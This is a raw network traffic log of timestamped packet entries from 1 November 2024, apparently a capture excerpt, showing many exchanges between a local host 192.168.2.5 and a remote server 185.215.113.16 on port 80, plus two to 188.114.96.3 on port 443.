Nov 1, 2024 05:02:31.202152014 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.202184916 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.202204943 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.202258110 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.202275038 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.202339888 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.202339888 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.202372074 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.204231024 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.233485937 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.233530998 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.233542919 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.233625889 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.233654022 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.277060032 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.277089119 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.277100086 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.277148008 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.277209997 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.308239937 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.308254004 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.308264017 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.308335066 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.308340073 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.308401108 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.308413982 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.308415890 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.308450937 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.308507919 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.308511019 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.308521986 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.308533907 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.308603048 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.308603048 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.318039894 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.318061113 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.318070889 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.318139076 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.318150043 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.318159103 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.318218946 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.318245888 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.318293095 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.318346977 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.318384886 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.318397045 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.318403959 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.318459034 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.318492889 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.318557978 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.318567991 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.318578005 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.318629026 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.318710089 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.318794966 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.318805933 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.318857908 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.318869114 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.318916082 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.318928957 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.319015026 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.319112062 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.319194078 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.319205046 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.319246054 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.319327116 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.319338083 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.319391966 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.319540977 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.319581985 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.319593906 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.319643021 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.319643021 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.350313902 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.350347996 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.350358963 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.350461960 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.393980980 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.394027948 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.394038916 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.394117117 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.425282001 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.425354958 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.425367117 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.425393105 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.425446987 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.425457954 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.425483942 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.425524950 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.425578117 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.425587893 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.425587893 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.425589085 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.425640106 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.425704002 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.425770998 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.425781965 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.425812960 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.425865889 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.434983015 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.435045004 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.435055971 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.435116053 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.435127974 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.435154915 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.435224056 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.435250998 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.435270071 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.435342073 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.435352087 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.435440063 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.435472965 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.435491085 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.435501099 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.435517073 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.435589075 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.435663939 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.435674906 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.435745955 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.435767889 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.435808897 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.435810089 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.435823917 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.435918093 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.435947895 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.435960054 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.436026096 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.436152935 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.436217070 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.436228991 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.436271906 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.436271906 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.436356068 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.436367989 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.436378956 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.436430931 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.436430931 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.436564922 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.436577082 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.436587095 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.436646938 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.436646938 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.467299938 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.467340946 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.467351913 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.467361927 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.467505932 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.511219978 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.511249065 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.511261940 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.511416912 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.542383909 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.542397976 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.542408943 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.542479038 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.542495966 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.542509079 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.542521954 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.542573929 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.542651892 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.542664051 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.542675018 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.542723894 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.542737007 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.542839050 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.542850018 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.542872906 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.542907953 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.542907953 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.542932987 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.543236971 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.552025080 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.552089930 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.552100897 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.552143097 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.552154064 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.552177906 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.552243948 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.552294016 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.552305937 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.552392006 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.552454948 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.552478075 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.552512884 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.552534103 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.552563906 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.552607059 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.552618027 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.552658081 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.552731037 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.552823067 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.552834034 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.552855968 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.552855968 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.552966118 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.552978039 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.552989006 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.552999973 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.553220034 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.553231001 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.553239107 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.553244114 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.553271055 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.553335905 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.553544044 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.553606987 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.553617954 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.553659916 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.553659916 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.553718090 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.553828955 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.553905964 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.553927898 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.554156065 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.584425926 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.584458113 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.584470987 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.584487915 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.584543943 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.628098011 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.628143072 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.628155947 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.628179073 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.628211021 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.628211021 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.628243923 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.628345013 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.659261942 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.659303904 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.659322977 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.659336090 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.659358025 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.659368992 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.659374952 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.659459114 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.659467936 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.659480095 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.659509897 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.659528971 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.659528971 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.659571886 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.659575939 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.659611940 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.659641027 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.659677982 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.659689903 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.659707069 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.659724951 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.659766912 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.659838915 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.659849882 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.659892082 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.669321060 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.669354916 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.669393063 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.669399023 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.669444084 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.669444084 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.669445038 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.669537067 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.669549942 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.669562101 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.669579983 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.669579983 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.669648886 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.669737101 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.669749975 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.669785023 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.669842005 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.669850111 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.669852972 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.669908047 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.669908047 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.669915915 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.669975042 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.670005083 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.670017958 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.670047045 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.670094013 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.670252085 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.670279026 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.670299053 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.670346022 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.670346975 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.670360088 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.670463085 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.670510054 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.670517921 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.670522928 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.670583963 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.670721054 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.670779943 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.670792103 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.670798063 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.670860052 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.670860052 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.670876980 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.671025991 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.671025991 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.671061993 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.671099901 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.671099901 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.701426029 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.701489925 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.701497078 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.701515913 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.701550007 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.701589108 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.701589108 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.701627970 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.701639891 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.701668024 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.745170116 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.745206118 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.745218039 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.745286942 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.745455980 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.756520033 CET	443	59857	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:31.756637096 CET	59857	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:31.776362896 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.776421070 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.776437044 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.776448965 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.776541948 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.776583910 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.776583910 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.776595116 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.776607037 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.776623011 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.776645899 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.776748896 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.776762962 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.776773930 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.776802063 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.776818991 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.776918888 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.776930094 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.776973009 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:31.786247015 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:31.786288023 CET	80	59854	185.215.113.16	192.168.2.5
